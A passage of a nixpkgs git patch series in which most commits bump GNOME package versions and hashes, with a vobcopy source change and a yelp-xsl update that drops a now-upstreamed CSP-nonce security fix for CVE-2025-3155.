   lib,
   stdenv,
-  fetchurl,
+  fetchFromGitHub,
+  autoreconfHook,
+  gettext,
   libdvdread,
   libdvdcss,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation {
   pname = "vobcopy";
-  version = "1.2.0";
+  version = "1.2.1-unstable-2023-08-29";
 
-  src = fetchurl {
-    url = "http://www.vobcopy.org/download/vobcopy-${version}.tar.bz2";
-    sha256 = "01l1yihbd73srzghzzx5dgfg3yfb5kml5dix52mq0snhjp8h89c9";
+  src = fetchFromGitHub {
+    owner = "barak";
+    repo = "vobcopy";
+    rev = "cb560b3a67358f51d51ecc0e511f49f09f304a13";
+    hash = "sha256-2EtSO39yOFoCZ5GMqtp+SvmzqSevlqYDo73p0lVHZ3o=";
   };
 
+  # Based on https://github.com/barak/vobcopy/issues/14, but also fixes
+  # "error: call to undeclared function 'fdatasync'". The latter patch
+  # is inspired by https://github.com/php/php-src/commit/e69729f2ba02ddc26c70b4bd88ef86c0a2277bdc
+  patches = [ ./fix-darwin.patch ];
+
+  nativeBuildInputs = [
+    autoreconfHook
+  ];
   buildInputs = [
+    gettext # Fails on Darwin otherwise
     libdvdread
     libdvdcss
   ];
-  makeFlags = [
-    "DESTDIR=$(out)"
-    "PREFIX=/"
-  ];
 
   meta = {
     description = "Copies DVD .vob files to harddisk, decrypting them on the way";
-    homepage = "http://vobcopy.org/projects/c/c.shtml";
+    homepage = "https://github.com/barak/vobcopy";
     license = lib.licenses.gpl2Plus;
 
     maintainers = [ lib.maintainers.bluescreen303 ];

From 81ea3cfddfc15d975eef392f6a85b1cf2ef8479d Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:49:43 +0000
Subject: [PATCH 1223/4511] =?UTF-8?q?orca:=2048.1=20=E2=86=92=2048.2?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/orca/-/compare/48.1...48.2

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit 11892afb28623c155ab7e9a32813eace4e277d6d)
---
 pkgs/by-name/or/orca/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/or/orca/package.nix b/pkgs/by-name/or/orca/package.nix
index ae9ddec8febe..b600b2abd46c 100644
--- a/pkgs/by-name/or/orca/package.nix
+++ b/pkgs/by-name/or/orca/package.nix
@@ -29,13 +29,13 @@
 
 python3.pkgs.buildPythonApplication rec {
   pname = "orca";
-  version = "48.1";
+  version = "48.2";
 
   format = "other";
 
   src = fetchurl {
     url = "mirror://gnome/sources/orca/${lib.versions.major version}/orca-${version}.tar.xz";
-    hash = "sha256-ZsbwmCIUnaJDpGM6fYSnsduq8UU0qf653yv+AaUFF4o=";
+    hash = "sha256-oIPaV4ZLVLoqPl9IG1QM/L5hiASjZDZoJ3Jw4mNTaf4=";
   };
 
   patches = [

From 21e393ae3332dc105913413e847e23b19a1dfeee Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:49:45 +0000
Subject: [PATCH 1224/4511] =?UTF-8?q?gnome-terminal:=203.56.1=20=E2=86=92?=
 =?UTF-8?q?=203.56.2?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/gnome-terminal/-/compare/3.56.1...3.56.2

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit 2a942c8ab7f8c5edf247476dd540c93dd3cafaf4)
---
 pkgs/by-name/gn/gnome-terminal/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gn/gnome-terminal/package.nix b/pkgs/by-name/gn/gnome-terminal/package.nix
index 4bcf840b4397..2bae985a569d 100644
--- a/pkgs/by-name/gn/gnome-terminal/package.nix
+++ b/pkgs/by-name/gn/gnome-terminal/package.nix
@@ -30,11 +30,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "gnome-terminal";
-  version = "3.56.1";
+  version = "3.56.2";
 
   src = fetchurl {
     url = "mirror://gnome/sources/gnome-terminal/${lib.versions.majorMinor finalAttrs.version}/gnome-terminal-${finalAttrs.version}.tar.xz";
-    hash = "sha256-ojB1PlC9Qx27EwDhV7/XMXMA4lIm/zCJMxY2OhOGT/g=";
+    hash = "sha256-I1vAnfo0zF8elRIum/YCA6hNr4Yc+s9+RJbF9UgjmXg=";
   };
 
   nativeBuildInputs = [

From ab99749162c502d33af055af9afd69b0f3a12dc1 Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:50:00 +0000
Subject: [PATCH 1225/4511] =?UTF-8?q?gnome-control-center:=2048.1=20?=
 =?UTF-8?q?=E2=86=92=2048.2?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/gnome-control-center/-/compare/48.1...48.2

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit 30df52ff4f52b9442e7484ac6851389a28133ff4)
---
 pkgs/by-name/gn/gnome-control-center/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gn/gnome-control-center/package.nix b/pkgs/by-name/gn/gnome-control-center/package.nix
index 2faeedb56dd3..7bfeb7923797 100644
--- a/pkgs/by-name/gn/gnome-control-center/package.nix
+++ b/pkgs/by-name/gn/gnome-control-center/package.nix
@@ -75,11 +75,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "gnome-control-center";
-  version = "48.1";
+  version = "48.2";
 
   src = fetchurl {
     url = "mirror://gnome/sources/gnome-control-center/${lib.versions.major finalAttrs.version}/gnome-control-center-${finalAttrs.version}.tar.xz";
-    hash = "sha256-AYPbNlqqj4W0SyPMnK5nXRyDNgSf7BGoym6pvb6MSP4=";
+    hash = "sha256-0uxKXifhkdkvmO1NvEqGHX8axKWiS2UktJKhIAfdRgw=";
   };
 
   patches = [

From d843796e83cf1076e0f21a4fdbecc3d7774d1831 Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:50:08 +0000
Subject: [PATCH 1226/4511] =?UTF-8?q?gnome-software:=2048.1=20=E2=86=92=20?=
 =?UTF-8?q?48.2?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/gnome-software/-/compare/48.1...48.2

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit de56cd8142f1912d6e7f503b8553fa35a98c3e47)
---
 pkgs/by-name/gn/gnome-software/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gn/gnome-software/package.nix b/pkgs/by-name/gn/gnome-software/package.nix
index d6d62b5775b7..dda5eef005eb 100644
--- a/pkgs/by-name/gn/gnome-software/package.nix
+++ b/pkgs/by-name/gn/gnome-software/package.nix
@@ -48,11 +48,11 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "gnome-software";
-  version = "48.1";
+  version = "48.2";
 
   src = fetchurl {
     url = "mirror://gnome/sources/gnome-software/${lib.versions.major finalAttrs.version}/gnome-software-${finalAttrs.version}.tar.xz";
-    hash = "sha256-CEqYUEApTDZFS0ZKIUT5gcAnSQa0xJ1xYT5hztapbo8=";
+    hash = "sha256-q/0wZDqGxl9IhrZ2XrO7YhXJ6gmBfWvRZcUAVokIIsk=";
   };
 
   patches = [

From 87f8d68fbdcbc5d5075329cebb1adf862c37e8df Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:50:13 +0000
Subject: [PATCH 1227/4511] =?UTF-8?q?gnome-text-editor:=2048.2=20=E2=86=92?=
 =?UTF-8?q?=2048.3?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/gnome-text-editor/-/compare/48.2...48.3

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit 1ffa8326347e56edf0a757b48070d9531966f915)
---
 pkgs/by-name/gn/gnome-text-editor/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gn/gnome-text-editor/package.nix b/pkgs/by-name/gn/gnome-text-editor/package.nix
index 289c59cabc83..753f4b247b07 100644
--- a/pkgs/by-name/gn/gnome-text-editor/package.nix
+++ b/pkgs/by-name/gn/gnome-text-editor/package.nix
@@ -24,11 +24,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "gnome-text-editor";
-  version = "48.2";
+  version = "48.3";
 
   src = fetchurl {
     url = "mirror://gnome/sources/gnome-text-editor/${lib.versions.major finalAttrs.version}/gnome-text-editor-${finalAttrs.version}.tar.xz";
-    hash = "sha256-/B9dR1vdJ9TAQ5pbj+ENbkAbQvHbo9BLdWeDkDbuICs=";
+    hash = "sha256-P56XIjlO200hRcBtaSELPT/KXNK5DWMmQ751CEPVVro=";
   };
 
   nativeBuildInputs = [

From a8fcf9bf2e7d6a7bba14b8c62aca95621d698e97 Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:50:23 +0000
Subject: [PATCH 1228/4511] =?UTF-8?q?gnome-maps:=2048.2=20=E2=86=92=2048.4?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/gnome-maps/-/compare/48.2...48.4

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit 3f08c3312dbcf8b7e4c3871e616d69bffa2bdaac)
---
 pkgs/by-name/gn/gnome-maps/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gn/gnome-maps/package.nix b/pkgs/by-name/gn/gnome-maps/package.nix
index 5e1ad264b1a4..5f4ae7a457be 100644
--- a/pkgs/by-name/gn/gnome-maps/package.nix
+++ b/pkgs/by-name/gn/gnome-maps/package.nix
@@ -30,11 +30,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "gnome-maps";
-  version = "48.2";
+  version = "48.4";
 
   src = fetchurl {
     url = "mirror://gnome/sources/gnome-maps/${lib.versions.major finalAttrs.version}/gnome-maps-${finalAttrs.version}.tar.xz";
-    hash = "sha256-rW3WEmiF+xaG7kv0mnh6clfHzF93nlQTQVWmgKMKjLk=";
+    hash = "sha256-rocWuLCz/r0+0iwX6QYuuA9tbSXFBQHATUIwuXzuRco=";
   };
 
   doCheck = !stdenv.hostPlatform.isDarwin;

From b4ff955a45474c7d6195df40f3da6341f51874bb Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:50:30 +0000
Subject: [PATCH 1229/4511] =?UTF-8?q?mm-common:=201.0.6=20=E2=86=92=201.0.?=
 =?UTF-8?q?7?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/mm-common/-/compare/1.0.6...1.0.7

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit 13dfdb313e63f2ce9c5f0799ad39fb63f7f002b4)
---
 pkgs/by-name/mm/mm-common/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mm/mm-common/package.nix b/pkgs/by-name/mm/mm-common/package.nix
index 439a9e597ed8..608d090485f8 100644
--- a/pkgs/by-name/mm/mm-common/package.nix
+++ b/pkgs/by-name/mm/mm-common/package.nix
@@ -11,11 +11,11 @@
 
 stdenv.mkDerivation rec {
   pname = "mm-common";
-  version = "1.0.6";
+  version = "1.0.7";
 
   src = fetchurl {
     url = "mirror://gnome/sources/${pname}/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "tVxGA3282rxc7js4nqEcw5EK22jr6IPpR3hHqmYIYuc=";
+    sha256 = "SUq/zngUGCWbHp2IiMc69N5LbzvjbMddm6qLqg8qejk=";
   };
 
   strictDeps = true;

From 91275f8c83f1c5bef8540c1d31a7a67e147c3ce0 Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:50:35 +0000
Subject: [PATCH 1230/4511] =?UTF-8?q?gnome-user-docs:=2048.1=20=E2=86=92?=
 =?UTF-8?q?=2048.2?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/gnome-user-docs/-/compare/48.1...48.2

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit e8a19a5b510712bd1e67a6138541c8893b2704c3)
---
 pkgs/by-name/gn/gnome-user-docs/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gn/gnome-user-docs/package.nix b/pkgs/by-name/gn/gnome-user-docs/package.nix
index cb51a99aeba8..92f83a105f28 100644
--- a/pkgs/by-name/gn/gnome-user-docs/package.nix
+++ b/pkgs/by-name/gn/gnome-user-docs/package.nix
@@ -11,11 +11,11 @@
 
 stdenv.mkDerivation rec {
   pname = "gnome-user-docs";
-  version = "48.1";
+  version = "48.2";
 
   src = fetchurl {
     url = "mirror://gnome/sources/gnome-user-docs/${lib.versions.major version}/${pname}-${version}.tar.xz";
-    hash = "sha256-rJc9kk4AVFoUWNhqEQ1Hc+a743w3KEDXbtZAyyaMYf0=";
+    hash = "sha256-Z4Kfdkumctf5n/cu9lE7QMyTH7QBv3vX21+AXnv6Pbk=";
   };
 
   nativeBuildInputs = [

From ebf094078b1e68cd5e71e6ca196fc8ccdb43ce4d Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:50:36 +0000
Subject: [PATCH 1231/4511] =?UTF-8?q?gnome-backgrounds:=2048.0=20=E2=86=92?=
 =?UTF-8?q?=2048.2.1?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/gnome-backgrounds/-/compare/48.0...48.2.1

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit ed14e1813dcd37a14372df5bd033b273802f939e)
---
 pkgs/by-name/gn/gnome-backgrounds/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gn/gnome-backgrounds/package.nix b/pkgs/by-name/gn/gnome-backgrounds/package.nix
index b727b46f8cb2..b3d84bd5adf0 100644
--- a/pkgs/by-name/gn/gnome-backgrounds/package.nix
+++ b/pkgs/by-name/gn/gnome-backgrounds/package.nix
@@ -9,11 +9,11 @@
 
 stdenv.mkDerivation rec {
   pname = "gnome-backgrounds";
-  version = "48.0";
+  version = "48.2.1";
 
   src = fetchurl {
     url = "mirror://gnome/sources/gnome-backgrounds/${lib.versions.major version}/gnome-backgrounds-${version}.tar.xz";
-    hash = "sha256-LWuqAR7peATHVh9+HL2NR2PjC1W4gY3aePn3WvuNjQU=";
+    hash = "sha256-ahxbey4Nj1zpd5JtVfnC1l3RgIIs3qXlkVDc+1q9Htk=";
   };
 
   patches = [

From a15360438295818f01e50fe16cb13563a2364808 Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:50:48 +0000
Subject: [PATCH 1232/4511] =?UTF-8?q?gnome-shell-extensions:=2048.1=20?=
 =?UTF-8?q?=E2=86=92=2048.2?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/gnome-shell-extensions/-/compare/48.1...48.2

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit d5f2a6dde87d2b6a147bb04bc90c431cadca3e91)
---
 pkgs/by-name/gn/gnome-shell-extensions/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gn/gnome-shell-extensions/package.nix b/pkgs/by-name/gn/gnome-shell-extensions/package.nix
index 4f6772825787..3d5dc92ddb82 100644
--- a/pkgs/by-name/gn/gnome-shell-extensions/package.nix
+++ b/pkgs/by-name/gn/gnome-shell-extensions/package.nix
@@ -15,11 +15,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "gnome-shell-extensions";
-  version = "48.1";
+  version = "48.2";
 
   src = fetchurl {
     url = "mirror://gnome/sources/gnome-shell-extensions/${lib.versions.major finalAttrs.version}/gnome-shell-extensions-${finalAttrs.version}.tar.xz";
-    hash = "sha256-m2f8LFgC2hcTp3sZ/6BCMY3XHnva6EN3lsX1GXlTOTw=";
+    hash = "sha256-6Sh+hjSJ5fpqLFWuW+ocqRCuQBbe6zQXNiZ4sEqR7P8=";
   };
 
   patches = [

From 52258639eb78aa77b4ae6f346a905d84a31694a4 Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:50:49 +0000
Subject: [PATCH 1233/4511] =?UTF-8?q?nautilus:=2048.1=20=E2=86=92=2048.2?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/nautilus/-/compare/48.1...48.2

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit 44c0e08f90362f82b337b633aa4043b3740ff7c4)
---
 pkgs/by-name/na/nautilus/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/na/nautilus/package.nix b/pkgs/by-name/na/nautilus/package.nix
index b226b106f290..c1078773bb1a 100644
--- a/pkgs/by-name/na/nautilus/package.nix
+++ b/pkgs/by-name/na/nautilus/package.nix
@@ -40,7 +40,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "nautilus";
-  version = "48.1";
+  version = "48.2";
 
   outputs = [
     "out"
@@ -50,7 +50,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "mirror://gnome/sources/nautilus/${lib.versions.major finalAttrs.version}/nautilus-${finalAttrs.version}.tar.xz";
-    hash = "sha256-eZWioXwp1LCav53ZrKFLje597DvXR3bdN5US8ubXNH8=";
+    hash = "sha256-oDD2Fj+KaAZPrlqeieN/Gcuyk94uEqGd1eIQlW0N9LU=";
   };
 
   patches = [

From 5a7551928a60cd4f849136e75c423981eb1fb648 Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:53:50 +0000
Subject: [PATCH 1234/4511] =?UTF-8?q?grilo:=200.3.16=20=E2=86=92=200.3.19?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/grilo/-/compare/grilo-0.3.16...grilo-0.3.19

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit c5f265965a762e5a42355219e57e3191511c6c13)
---
 pkgs/by-name/gr/grilo/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gr/grilo/package.nix b/pkgs/by-name/gr/grilo/package.nix
index 8b04f025f60b..20334e4cda1b 100644
--- a/pkgs/by-name/gr/grilo/package.nix
+++ b/pkgs/by-name/gr/grilo/package.nix
@@ -24,7 +24,7 @@
 
 stdenv.mkDerivation rec {
   pname = "grilo";
-  version = "0.3.16"; # if you change minor, also change ./setup-hook.sh
+  version = "0.3.19"; # if you change minor, also change ./setup-hook.sh
 
   outputs = [
     "out"
@@ -38,7 +38,7 @@ stdenv.mkDerivation rec {
 
   src = fetchurl {
     url = "mirror://gnome/sources/${pname}/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "iEWA6MXs4oDfI6pj/1I0t9SJiKQE331r/M0ed7RzvZY=";
+    sha256 = "CGnIHRmrE5xmfXlWfBTdy2y1y/wBCNBMreKH6ylTZwY=";
   };
 
   mesonFlags = [

From 51231a28d10a7dc2d797708a9c22a5b59c2e8e33 Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:53:56 +0000
Subject: [PATCH 1235/4511] =?UTF-8?q?mutter:=2048.2=20=E2=86=92=2048.3.1?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/mutter/-/compare/48.2...48.3.1

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit a47a9992f0ad4874d22f109b49120b304f43adec)
---
 pkgs/by-name/mu/mutter/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mu/mutter/package.nix b/pkgs/by-name/mu/mutter/package.nix
index 03ad81a4612e..521d3e709ba8 100644
--- a/pkgs/by-name/mu/mutter/package.nix
+++ b/pkgs/by-name/mu/mutter/package.nix
@@ -71,7 +71,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "mutter";
-  version = "48.2";
+  version = "48.3.1";
 
   outputs = [
     "out"
@@ -82,7 +82,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "mirror://gnome/sources/mutter/${lib.versions.major finalAttrs.version}/mutter-${finalAttrs.version}.tar.xz";
-    hash = "sha256-PBi6Tgk+qaN4ET3K+nvbXB+db1r5dlAmt+Zst42vYU4=";
+    hash = "sha256-BvimrX/0+HOa9q8uF1PJHfp7mDl+UpRmMloQGMeVCmo=";
   };
 
   mesonFlags = [

From 628b95c76f18866e07108f73722af0316371068a Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:50:56 +0000
Subject: [PATCH 1236/4511] =?UTF-8?q?gnome-shell:=2048.1=20=E2=86=92=2048.?=
 =?UTF-8?q?2?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/gnome-shell/-/compare/48.1...48.2

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit f38282e948581c11aab98a21905484491036e655)
---
 pkgs/by-name/gn/gnome-shell/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gn/gnome-shell/package.nix b/pkgs/by-name/gn/gnome-shell/package.nix
index 8333dad8a2fa..1d383b1d6cb1 100644
--- a/pkgs/by-name/gn/gnome-shell/package.nix
+++ b/pkgs/by-name/gn/gnome-shell/package.nix
@@ -69,7 +69,7 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "gnome-shell";
-  version = "48.1";
+  version = "48.2";
 
   outputs = [
     "out"
@@ -78,7 +78,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "mirror://gnome/sources/gnome-shell/${lib.versions.major finalAttrs.version}/gnome-shell-${finalAttrs.version}.tar.xz";
-    hash = "sha256-uk9FWv1iE/OHVFlG482dqjnJBPerFt2DCsd6c/8QAso=";
+    hash = "sha256-XSbMfvymNIW33bbHo5Msoa+fqPy+OLjJnqP0qyFzpqk=";
   };
 
   patches = [

From 3028ec0d741e0bfeff2393b71ed02e7357cb1880 Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:54:14 +0000
Subject: [PATCH 1237/4511] =?UTF-8?q?evolution-data-server:=203.56.1=20?=
 =?UTF-8?q?=E2=86=92=203.56.2?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/evolution-data-server/-/compare/3.56.1...3.56.2

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit c788afebccbc130fed005ed3c61ba4f92cba5ed6)
---
 pkgs/by-name/ev/evolution-data-server/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ev/evolution-data-server/package.nix b/pkgs/by-name/ev/evolution-data-server/package.nix
index ef177c079ded..17aa71b77cef 100644
--- a/pkgs/by-name/ev/evolution-data-server/package.nix
+++ b/pkgs/by-name/ev/evolution-data-server/package.nix
@@ -50,7 +50,7 @@
 
 stdenv.mkDerivation rec {
   pname = "evolution-data-server";
-  version = "3.56.1";
+  version = "3.56.2";
 
   outputs = [
     "out"
@@ -59,7 +59,7 @@ stdenv.mkDerivation rec {
 
   src = fetchurl {
     url = "mirror://gnome/sources/evolution-data-server/${lib.versions.majorMinor version}/evolution-data-server-${version}.tar.xz";
-    hash = "sha256-ZGzAA32j+fKVeUxjfZU5StdvjJvuImi+LEGD4ncgwTc=";
+    hash = "sha256-307CmVDymnbqxvvg+BTEjSzvfT/bkFACpKiD3XYc6Tw=";
   };
 
   patches = [

From 39736c752a18f3be1461de3cd0c7a3557764a46b Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:50:57 +0000
Subject: [PATCH 1238/4511] =?UTF-8?q?evolution:=203.56.1=20=E2=86=92=203.5?=
 =?UTF-8?q?6.2?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/evolution/-/compare/3.56.1...3.56.2

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit 1124085e3a365b7b3efc867d544af0fea68d457b)
---
 .../networking/mailreaders/evolution/evolution/default.nix    | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/evolution/evolution/default.nix b/pkgs/applications/networking/mailreaders/evolution/evolution/default.nix
index 2c4061da23bb..6213da291bd8 100644
--- a/pkgs/applications/networking/mailreaders/evolution/evolution/default.nix
+++ b/pkgs/applications/networking/mailreaders/evolution/evolution/default.nix
@@ -46,11 +46,11 @@
 
 stdenv.mkDerivation rec {
   pname = "evolution";
-  version = "3.56.1";
+  version = "3.56.2";
 
   src = fetchurl {
     url = "mirror://gnome/sources/evolution/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    hash = "sha256-39/lmRCdI5vFbajpYlssGVcGegGujv81BmOj2q50vRY=";
+    hash = "sha256-ff3JrrLasybav9wfhXfE7MEjoS2gAS+MZKcmBlo8Cys=";
   };
 
   nativeBuildInputs = [

From 2b170ccc28ed3307a29450d3ee057091d2f4fbf1 Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:54:19 +0000
Subject: [PATCH 1239/4511] =?UTF-8?q?yelp-xsl:=2042.1=20=E2=86=92=2042.4?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/yelp-xsl/-/compare/42.1...42.4

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit 7cdf2f8c8bcaa7d71bc224085ecda9f47ca213ce)
---
 pkgs/by-name/ye/yelp-xsl/cve-2025-3155.patch | 79 --------------------
 pkgs/by-name/ye/yelp-xsl/package.nix         | 21 ++++--
 2 files changed, 13 insertions(+), 87 deletions(-)
 delete mode 100644 pkgs/by-name/ye/yelp-xsl/cve-2025-3155.patch

diff --git a/pkgs/by-name/ye/yelp-xsl/cve-2025-3155.patch b/pkgs/by-name/ye/yelp-xsl/cve-2025-3155.patch
deleted file mode 100644
index 36886d7c4a2a..000000000000
--- a/pkgs/by-name/ye/yelp-xsl/cve-2025-3155.patch
+++ /dev/null
@@ -1,79 +0,0 @@
-diff --git a/xslt/common/html.xsl b/xslt/common/html.xsl
-index 77aed075..82832fb4 100644
---- a/xslt/common/html.xsl
-+++ b/xslt/common/html.xsl
-@@ -266,6 +266,16 @@ certain tokens, and you can add your own with {html.sidebar.mode}. See
- -->
- <xsl:param name="html.sidebar.right" select="''"/>
- 
-+<!--@@==========================================================================
-+html.csp.nonce
-+An optional CSP nonce string to allow the execution of scripts and styles.
-+@revision[version=42.2 date=2025-02-22 status=final]
-+
-+This parameter takes a string value that will be added to the 'nonce' attribute
-+of all 'style' and 'script' tags in the generated HTML output. This paramter is used
-+to whitelist script and style tags that are allowed to be executed.
-+-->
-+<xsl:param name="html.csp.nonce" select="false()"/>
- 
- <!--**==========================================================================
- html.output
-@@ -1124,6 +1134,11 @@ dimensions. All parameters can be automatically computed if not provided.
-     </xsl:call-template>
-   </xsl:param>
-   <style type="text/css">
-+    <xsl:if test="$html.csp.nonce">
-+      <xsl:attribute name="nonce">
-+        <xsl:value-of select="$html.csp.nonce" />
-+      </xsl:attribute>
-+    </xsl:if>
-     <xsl:call-template name="html.css.content">
-       <xsl:with-param name="node" select="$node"/>
-       <xsl:with-param name="direction" select="$direction"/>
-@@ -1533,6 +1548,11 @@ copy, override this template and provide the necessary files.
-   <xsl:param name="node" select="."/>
-   <xsl:if test="$node//mml:*[1]">
-     <script type="text/javascript">
-+      <xsl:if test="$html.csp.nonce">
